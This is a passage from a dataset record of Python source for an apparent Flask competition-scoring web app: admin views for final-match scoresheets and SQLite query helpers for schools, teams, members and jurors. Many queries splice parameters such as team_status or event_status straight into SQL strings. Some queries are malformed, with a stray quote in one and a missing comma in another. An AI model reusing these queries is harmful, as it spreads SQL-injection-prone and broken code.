float(request.form.get(\"1_rev_dstage_team_AP\"))\n ds1_rev_dstage_team_id = int(request.form.get(\"1_rev_dstage_team_id\"))\n\n ds_f1_mteam_code = int(request.form.get(\"ds_f1_mteam_code\"))\n ds_f1_mteam_code_SP = float(request.form.get(\"ds_f1_mteam_code_SP\"))\n ds_f1_mteam_code_fw = int(request.form.get(\"ds_f1_mteam_code_fw\"))\n ds_f2_mteam_code = int(request.form.get(\"ds_f2_mteam_code\"))\n ds_f2_mteam_code_SP = float(request.form.get(\"ds_f2_mteam_code_SP\"))\n ds_f2_mteam_code_fw = int(request.form.get(\"ds_f2_mteam_code_fw\"))\n ds_f3_mteam_code = int(request.form.get(\"ds_f3_mteam_code\"))\n ds_f3_mteam_code_SP = float(request.form.get(\"ds_f3_mteam_code_SP\"))\n ds_f3_mteam_code_fw = int(request.form.get(\"ds_f3_mteam_code_fw\"))\n\n # update three mpair_teams of the current mpair_id: SP and FW=1 or 0\n # winner is the ranking #1 including tie scenario\n # use mteam_code and mpair_id to find mpair_team_id (PK)\n mpair_team_records = [\n (ds_f1_mteam_code, ds_f1_mteam_code_SP, ds_f1_mteam_code_fw),\n (ds_f2_mteam_code, ds_f2_mteam_code_SP, ds_f2_mteam_code_fw),\n (ds_f3_mteam_code, ds_f3_mteam_code_SP, ds_f3_mteam_code_fw)\n ]\n # update four dstage_teams of the current mpair_id: Average Point, Point (POINT_WITH_FACTOR)\n # stage 1: rep and opp, stage 2: rep and opp\n dstage_team_records = [\n (ds1_rep_dstage_team_id, ds1_rep_dstage_team_AP, ds1_rep_dstage_team_P),\n (ds1_opp_dstage_team_id, ds1_opp_dstage_team_AP, ds1_opp_dstage_team_P),\n (ds1_rev_dstage_team_id, ds1_rev_dstage_team_AP, ds1_rev_dstage_team_P),\n (ds2_rep_dstage_team_id, ds2_rep_dstage_team_AP, ds2_rep_dstage_team_P),\n (ds2_opp_dstage_team_id, ds2_opp_dstage_team_AP, ds2_opp_dstage_team_P),\n (ds2_rev_dstage_team_id, ds2_rev_dstage_team_AP, ds2_rev_dstage_team_P),\n (ds3_rep_dstage_team_id, ds3_rep_dstage_team_AP, ds3_rep_dstage_team_P),\n (ds3_opp_dstage_team_id, ds3_opp_dstage_team_AP, ds3_opp_dstage_team_P),\n (ds3_rev_dstage_team_id, ds3_rev_dstage_team_AP, ds3_rev_dstage_team_P)\n ]\n\n validate_dstage_score(current_plan_id, current_mpair_id, mpair_team_records, dstage_team_records, current_user_id,\n app_db_web_location)\n\n flash_msg = \"Final match Scoresheet has been confirmed successfully!\"\n flash(flash_msg, 'success')\n return redirect(url_for('main.admin_publish'))\n except:\n flash_msg = \"Scoresheet was not confirmed properly, please double check!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_publish'))\n else:\n flash_msg = \"Scoresheet was not confirmed, please double check!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_publish'))\n else:\n try:\n dstage_score_id = int(request.form.get('ds_sc_id'))\n ds_sc_1 = float(request.form.get('ds_sc_1'))\n ds_sc_2 = float(request.form.get('ds_sc_2'))\n ds_sc_3 = float(request.form.get('ds_sc_3'))\n ds_sc_4 = float(request.form.get('ds_sc_4'))\n ds_sc_5 = float(request.form.get('ds_sc_5'))\n ds_sc_6 = float(request.form.get('ds_sc_6'))\n ds_sc_7 = float(request.form.get('ds_sc_7'))\n except:\n flash_msg = \"Invalid access in post!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_publish'))\n\n # update dstage_score by dstage_score_id\n if dstage_score_id > 0:\n dstage_scores = (round(ds_sc_1 + ds_sc_2 + ds_sc_3 + ds_sc_4 + ds_sc_5 + ds_sc_6 + ds_sc_7, 1), ds_sc_1, ds_sc_2, ds_sc_3, ds_sc_4, ds_sc_5, ds_sc_6, ds_sc_7)\n update_dstage_score_by_id(current_plan_id, dstage_score_id, dstage_scores, current_user_id, app_db_web_location)\n current_dstage_score_id = 0\n else:\n # Process valid GET\n pass\n\n # get up to date mpair fight status\n fm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n # (current_room_code, tmp_mroom_label, tmp_round_list)\n fm_current_room_round_pairs = fm_room_pairs[0][2][0]\n current_room_code = fm_room_pairs[0][0]\n current_mpair_id = fm_current_room_round_pairs[3]\n current_pair_stage_status = fm_current_room_round_pairs[2]\n current_team_codes = (fm_current_room_round_pairs[1][0][4], fm_current_room_round_pairs[1][1][4], fm_current_room_round_pairs[1][2][4])\n\n # get up to date mpair stage problem info\n current_stage_problems = get_mpair_problems_simmple(current_plan_id, current_mpair_id, app_db_web_location)\n # get up to date mpair stage score info\n print(\"****____current_mpair_id: \", current_mpair_id)\n validation_scores = get_fm_mpair_scores_4validate(current_plan_id, current_mpair_id, current_team_codes, app_db_web_location)\n current_team_codes_SP = validation_scores[1]\n fm_current_pair_scores = validation_scores[0]\n # compare who is the winner\n ranked_team_codes_SP = check_ranking3(current_team_codes_SP)\n\n return render_template('main/fm_validate.html', form=form, current_room_code=current_room_code, master_mrooms=master_mrooms,\n current_round_code=current_round_code, master_mteams=master_mteams, current_plan_id=current_plan_id,\n master_mjurors=master_mjurors, sm_current_pair_scores=fm_current_pair_scores, current_mpair_id=current_mpair_id,\n current_team_codes_SP=current_team_codes_SP, current_team_codes=current_team_codes, ranked_team_codes_SP=ranked_team_codes_SP,\n current_stage_problems=current_stage_problems, current_dstage_score_id=current_dstage_score_id,\n plan_sub_status=current_plan_sub_status, fm_plan_id=current_plan_id, sm_plan_id=sm_plan_id)\n\n\n# view FM scores\n@main_blueprint.route('/fm_score_view', methods=['GET', 'POST'])\n@roles_required('super') # Limits access to users with the 'super' role\ndef fm_score_view():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventStageForm(request.form)\n fm_current_pair_scores = None\n\n # Initialize parameters from request and session\n current_room_code = 0\n current_round_code = 6\n current_plan_id = 0\n current_plan_sub_status = 0\n sm_plan_id = 0\n fm_current_room_round_pairs = None\n current_pair_stage_status = 0\n master_mteams = None\n master_mrooms = None\n master_mjurors = None\n current_stage_code = 0\n stage_agenda = None\n current_pair_assigned_jurors = None\n current_pair_assigned_juror_codes = None\n current_pair_id = 0\n opponent_team_members_roles = None\n reporter_team_members_roles = None\n current_team_codes = None\n current_team_codes_SP = None\n current_stage_problems = None\n current_dstage_score_id = 0\n current_mpair_id = 0\n\n # initial parameters\n try:\n current_plan_id = int(request.args.get('fm_plan_id'))\n sm_plan_id = int(request.args.get('sm_plan_id'))\n current_plan_sub_status = int(request.args.get('plan_sub_status'))\n except:\n flash_msg = \"Invalid access to validate final match score!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.fm_draw'))\n\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n except:\n # (mroom_code, mroom_label, mroom_info)\n master_mrooms = get_mrooms(sm_plan_id, app_db_web_location)\n # (mteam_code, mteam_name, team_info, team_member_list)\n master_mteams = get_mteams(sm_plan_id, app_db_web_location)\n # (mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_mjurors = get_mjurors(sm_plan_id, app_db_web_location)\n # (mroom_code, mroom_label, room_volunteers)\n\n # get up to date mpair fight status\n fm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n # (current_room_code, tmp_mroom_label, tmp_round_list)\n fm_current_room_round_pairs = fm_room_pairs[0][2][0]\n current_pair_stage_status = fm_current_room_round_pairs[2]\n if current_pair_stage_status > 20:\n current_room_code = fm_room_pairs[0][0]\n current_mpair_id = fm_current_room_round_pairs[3]\n current_team_codes = (fm_current_room_round_pairs[1][0][4], fm_current_room_round_pairs[1][1][4], fm_current_room_round_pairs[1][2][4])\n\n # get up to date mpair stage problem info\n current_stage_problems = get_mpair_problems_simmple(current_plan_id, current_mpair_id, app_db_web_location)\n # get up to date mpair stage score info\n print(\"****____current_mpair_id: \", current_mpair_id)\n validation_scores = get_fm_mpair_scores_4validate(current_plan_id, current_mpair_id, current_team_codes, app_db_web_location)\n current_team_codes_SP = validation_scores[1]\n fm_current_pair_scores = validation_scores[0]\n # compare who is the winner\n ranked_team_codes_SP = check_ranking3(current_team_codes_SP)\n\n return render_template('main/fm_score_view.html', form=form, current_room_code=current_room_code, master_mrooms=master_mrooms,\n current_round_code=current_round_code, master_mteams=master_mteams, current_plan_id=current_plan_id,\n master_mjurors=master_mjurors, sm_current_pair_scores=fm_current_pair_scores, current_mpair_id=current_mpair_id,\n current_team_codes_SP=current_team_codes_SP, current_team_codes=current_team_codes,\n ranked_team_codes_SP=ranked_team_codes_SP, current_pair_stage_status=current_pair_stage_status,\n current_stage_problems=current_stage_problems, current_dstage_score_id=current_dstage_score_id,\n plan_sub_status=current_plan_sub_status, fm_plan_id=current_plan_id, sm_plan_id=sm_plan_id)\n else:\n flash_msg = \"FM scores not ready yet!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_publish'))\n", "id": "4749849", "language": "Python", "matching_score": 6.706332206726074, "max_stars_count": 0, "path": "app/views/main_views.py" }, { "content": "import sqlite3\nimport hashlib\nimport datetime\nfrom app.utilities.app_utilities import convert_background_text\n\n\napp_db_web_location_default = \"sqlite:///../app.sqlite\"\napp_db_local_location_default = \"C:\\\\pycharm\\\\projects\\\\my_app\\\\app.sqlite\"\n\n\ndef get_school_list(app_db_web_location=app_db_web_location_default):\n school_rows = search_school_list(app_db_web_location)\n school_list = [(0, 'Please Select')]\n for row in school_rows:\n tmp_tuple = (row[0], row[1]+' - '+row[2]+' - '+row[3])\n school_list.append(tmp_tuple)\n return school_list\n\n\ndef search_school_list(app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = 'select SCHOOL_ID, SCHOOL_NAME, PROVINCE, CITY, SCHOOL_ADDRESS, ZIP_CODE from SCHOOL_DIRECTORY order by school_name, province, city;'\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\ndef search_schools_by_id(school_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"select SCHOOL_ID, SCHOOL_NAME, PROVINCE, CITY, SCHOOL_ADDRESS, ZIP_CODE, COUNTRY, SCHOOL_STATUS \" \\\n \"from SCHOOL_DIRECTORY WHERE SCHOOL_ID = \" + str(school_id) + \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\ndef search_schools_has_event_team(event_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"select DISTINCT SCHOOL_ID, SCHOOL_NAME, SCHOOL_PROVINCE, SCHOOL_CITY, SCHOOL_ADDRESS, SCHOOL_COUNTRY, SCHOOL_ZIP_CODE \" \\\n \"from v_team WHERE EVENT_ID = \" + str(event_id) + \" order by SCHOOL_NAME COLLATE NOCASE, SCHOOL_PROVINCE, SCHOOL_CITY;\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\ndef get_schools_has_event_team(event_id, app_db_web_location=app_db_web_location_default):\n school_rows = search_schools_has_event_team(event_id, app_db_web_location)\n school_list = [(0, 'Please Select')]\n for row in school_rows:\n tmp_tuple = (row[0], row[1]+' - '+row[2]+' - '+row[3])\n school_list.append(tmp_tuple)\n return school_list\n\n\ndef get_schools_for_juror(event_id, app_db_web_location=app_db_web_location_default):\n school_rows = search_schools_has_event_team(event_id, app_db_web_location)\n school_list = []\n for row in school_rows:\n tmp_tuple = (row[0], row[1]+' - '+row[2]+' - '+row[3])\n school_list.append(tmp_tuple)\n return school_list\n\n\ndef get_schools_for_ppant(event_id, app_db_web_location=app_db_web_location_default):\n school_rows = search_schools_has_event_team(event_id, app_db_web_location)\n school_list = []\n for row in school_rows:\n tmp_tuple = (row[0], row[1]+' - '+row[2]+' - '+row[3])\n school_list.append(tmp_tuple)\n return school_list\n\n\n# search current event: event is not closed\ndef search_current_event(app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT EVENT_ID, EVENT_NAME, EVENT_STATUS, EVENT_DESCRIPTION, EVENT_YEAR from EVENT WHERE EVENT_STATUS != 'Closed' order by EVENT_YEAR DESC';\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\ndef get_current_event(app_db_web_location=app_db_web_location_default):\n event_rows = search_current_event(app_db_web_location)\n current_event = tuple()\n for row in event_rows:\n current_event = (row[0], row[1], row[2], row[3], row[4])\n break\n return current_event\n\n\n# Search event by status, such as Open for Registration, Closed for Registration, Closed\ndef search_event_by_status(event_status, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT EVENT_ID, EVENT_NAME, EVENT_STATUS, EVENT_DESCRIPTION, EVENT_YEAR from EVENT WHERE EVENT_STATUS = '\" + event_status + \"';\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\ndef get_teams_ledbyme(event_id, team_lead_id, app_db_web_location=app_db_web_location_default):\n team_rows = search_teams_ledbyme(event_id, team_lead_id, app_db_web_location)\n teams_ledbyme = [(None, 'Please Select')]\n for row in team_rows:\n tmp_tuple = (row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11], row[12], row[13], row[14])\n teams_ledbyme.append(tmp_tuple)\n return teams_ledbyme\n\n\ndef get_teams_ledbyme_full(event_id, team_lead_id, app_db_web_location=app_db_web_location_default):\n team_rows = search_teams_ledbyme(event_id, team_lead_id, app_db_web_location)\n teams_ledbyme = [(None, 'Please Select')]\n for row in team_rows:\n tmp_tuple = (row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11], row[12], row[13], row[14])\n teams_ledbyme.append(tmp_tuple)\n return teams_ledbyme\n\n\n# Search teams that are under specific team lead Id\ndef search_teams_ledbyme(event_id, team_lead_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL \" \\\n \"FROM V_TEAM \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND TEAM_LEAD_ID=\" + str(team_lead_id) + \" \" \\\n \"ORDER by SCHOOL_NAME, TEAM_NAME \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# Search teams that are under specific event Id\ndef search_event_teams(event_id, app_db_web_location=app_db_web_location_default, team_status=None):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if team_status is None:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL \" \\\n \"FROM V_TEAM \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"ORDER by SCHOOL_NAME, TEAM_NAME \" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL \" \\\n \"FROM V_TEAM \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND TEAM_STATUS='\" + team_status + \"' \" \\\n \"ORDER by SCHOOL_NAME, TEAM_NAME \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# Search teams that are under specific event Id\ndef search_event_teams_inorder(event_id, app_db_web_location=app_db_web_location_default, team_status=None):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if team_status is None:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL \" \\\n \"FROM V_TEAM \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"ORDER by TEAM_ID \" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL \" \\\n \"FROM V_TEAM \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND TEAM_STATUS='\" + team_status + \"' \" \\\n \"ORDER by TEAM_ID \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\ndef get_current_teams_options(event_id, app_db_web_location=app_db_web_location_default):\n team_rows = search_event_teams(event_id, app_db_web_location)\n tmp_school_id = 0\n current_teams_options = list()\n tmp_school_teams = list()\n tmp_school_name = None\n for row in team_rows:\n if row[5] != tmp_school_id:\n if tmp_school_id > 0:\n tmp_tuple2 = (tmp_school_id, tmp_school_name, tmp_school_teams)\n current_teams_options.append(tmp_tuple2)\n tmp_school_id = row[5]\n tmp_school_teams = list()\n tmp_school_name = row[6] + \" - \" + row[9] + \" - \" + row[8]\n\n tmp_tuple1 = (row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11], row[12], row[13], row[14])\n tmp_school_teams.append(tmp_tuple1)\n\n if tmp_school_id > 0:\n tmp_tuple2 = (tmp_school_id, tmp_school_name, tmp_school_teams)\n current_teams_options.append(tmp_tuple2)\n\n return current_teams_options\n\n\n# Search teams and associated members for specific event Id order by name\ndef search_event_teams_n_members(event_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL, \" \\\n \"TEAM_MEMBER_ID, TEAM_MEMBER_USER_ID, IS_CAPTAIN, MEMBER_STATUS\" \\\n \"TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, TEAM_MEMBER_EMAIL, TEAM_MEMBER_DOB \" \\\n \"FROM V_TEAMS_N_MEMBERS \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"ORDER by SCHOOL_NAME, TEAM_NAME, TEAM_MEMBER_LAST_NAME \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# Search teams and associated members for specific event Id order by name\ndef search_event_juror(event_id, is_chair, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"PARTICIPANT_ID, HAS_COI, COI_ID, COI_COMMENTS, COI_SCHOOL_ID, COI_SCHOOL_NAME, \" \\\n \"COI_SCHOOL_STATUS, COI_SCHOOL_ADDRESS, PPANT_TELEC, IS_CHAIR \" \\\n \"FROM v_event_participant_cois_schools \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \"\\\n \"AND IS_CHAIR = '\" + is_chair + \"' \" \\\n \"ORDER by PARTICIPANT_ID \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# Search teams and associated members for specific event Id order by ID\ndef search_event_teams_n_members_by_id(event_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL, \" \\\n \"TEAM_MEMBER_ID, TEAM_MEMBER_USER_ID, IS_CAPTAIN, MEMBER_STATUS, \" \\\n \"TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, TEAM_MEMBER_EMAIL, TEAM_MEMBER_DOB \" \\\n \"FROM V_TEAMS_N_MEMBERS \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"ORDER by SCHOOL_ID, TEAM_ID, TEAM_MEMBER_ID \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# Search all the team members detail for all the teams of a specific event id\ndef search_event_teams_n_members_all(event_id, team_status, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if team_status is None or len(team_status) <1:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL, \" \\\n \"TEAM_MEMBER_ID, TEAM_MEMBER_USER_ID, IS_CAPTAIN, MEMBER_STATUS, \" \\\n \"TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, TEAM_MEMBER_EMAIL, strftime('%Y-%m-%d',TEAM_MEMBER_DOB), \" \\\n \"strftime('%Y-%m-%d', TEAM_REGISTER_DATE), strftime('%Y-%m-%d',TEAM_MEMBER_APPLY_DATE), SCHOOL_STATUS, \" \\\n \"TEAM_LEAD_TELEC \" \\\n \"FROM V_TEAMS_N_MEMBERS \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"ORDER by TEAM_REGISTER_DATE, TEAM_ID, IS_CAPTAIN DESC, TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME \" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL, \" \\\n \"TEAM_MEMBER_ID, TEAM_MEMBER_USER_ID, IS_CAPTAIN, MEMBER_STATUS, \" \\\n \"TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, TEAM_MEMBER_EMAIL, strftime('%Y-%m-%d',TEAM_MEMBER_DOB), \" \\\n \"strftime('%Y-%m-%d', TEAM_REGISTER_DATE), strftime('%Y-%m-%d',TEAM_MEMBER_APPLY_DATE), SCHOOL_STATUS, \" \\\n \"TEAM_LEAD_TELEC \" \\\n \"FROM V_TEAMS_N_MEMBERS \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND TEAM_STATUS='\" + team_status + \"' \" \\\n \"ORDER by TEAM_REGISTER_DATE, TEAM_ID, IS_CAPTAIN DESC, TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# Search all the team members detail for all the teams led by a specific team lead id of a specific event id\ndef search_event_teams_n_members_ledbyme(event_id, team_lead_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_NAME, \" \\\n \"TEAM_ID, TEAM_NAME, TEAM_STATUS, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_ADDRESS, SCHOOL_CITY, SCHOOL_PROVINCE, SCHOOL_COUNTRY, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL, \" \\\n \"TEAM_MEMBER_ID, TEAM_MEMBER_USER_ID, IS_CAPTAIN, MEMBER_STATUS, \" \\\n \"TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, TEAM_MEMBER_EMAIL, strftime('%Y-%m-%d',TEAM_MEMBER_DOB), \" \\\n \"strftime('%Y-%m-%d', TEAM_REGISTER_DATE), strftime('%Y-%m-%d',TEAM_MEMBER_APPLY_DATE), TEAM_LEAD_TELEC \" \\\n \"FROM V_TEAMS_N_MEMBERS \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND TEAM_LEAD_ID=\" + str(team_lead_id) + \" \" \\\n \"ORDER by TEAM_ID, TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME \" \\\n \";\"\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the team members detail for all the teams of a specific event id\ndef get_event_teams_n_members_all(event_id, team_status, app_db_web_location=app_db_web_location_default):\n team_rows = search_event_teams_n_members_all(event_id, team_status, app_db_web_location)\n teams_n_members_all = list()\n tmp_team_id = 0\n tmp_team_members = list()\n tmp_team_name = None\n tmp_status = None\n tmp_team_lead = None\n tmp_school_name = None\n tmp_school_id = 0\n tmp_team_register_date = None\n tmp_school_status = None\n team_approved_members_count = 0\n tmp_team_telec = None\n\n for row in team_rows:\n # add new team to tmp_school_teams\n if row[2] != tmp_team_id:\n if tmp_team_id > 0:\n # add last team to the return result\n tmp_tuple_team = (tmp_team_id, tmp_team_name, tmp_status, tmp_school_name, tmp_team_lead, len(tmp_team_members), tmp_team_members, tmp_school_id, tmp_team_register_date, tmp_school_status, team_approved_members_count, tmp_team_telec)\n teams_n_members_all.append(tmp_tuple_team)\n\n # reset team and team member record\n tmp_team_id = row[2]\n tmp_team_members = list()\n team_approved_members_count = 0\n tmp_team_telec = row[26]\n tmp_team_name = row[3]\n tmp_status = row[4]\n tmp_school_name = row[6] + \" - \" + row[9] + \" - \" + row[8]\n tmp_team_lead = row[12] + \" \" + row[13] + \" - \" + row[14]\n tmp_school_id = row[5]\n tmp_team_register_date = row[23]\n tmp_school_status = row[25]\n\n # add team members to current team\n if row[15] != None:\n tmp_tuple_member = (row[15], row[16], row[17], row[18], row[19], row[20], row[21], row[22], row[24])\n tmp_team_members.append(tmp_tuple_member)\n if row[18] == \"Approved\":\n team_approved_members_count += 1\n\n # add last team\n if tmp_team_id > 0:\n tmp_tuple_team = (tmp_team_id, tmp_team_name, tmp_status, tmp_school_name, tmp_team_lead, len(tmp_team_members),\n tmp_team_members, tmp_school_id, tmp_team_register_date, tmp_school_status,\n team_approved_members_count, tmp_team_telec)\n teams_n_members_all.append(tmp_tuple_team)\n\n return teams_n_members_all\n\n\n# get all the team members detail for all the teams led by a specific team lead id of a specific event id\ndef get_event_teams_n_members_ledbyme(event_id, team_lead_id, app_db_web_location=app_db_web_location_default):\n team_rows = search_event_teams_n_members_ledbyme(event_id, team_lead_id, app_db_web_location)\n teams_n_members_ledbyme = list()\n tmp_team_id = 0\n tmp_team_members = list()\n tmp_team_name = None\n tmp_status = None\n tmp_team_lead = None\n tmp_school_name = None\n tmp_school_id = 0\n tmp_team_register_date = None\n tmp_captain = 0\n tmp_approved_members_count = 0\n tmp_team_lead_id = 0\n team_members_count = 0\n tmp_teleconference = None\n\n for row in 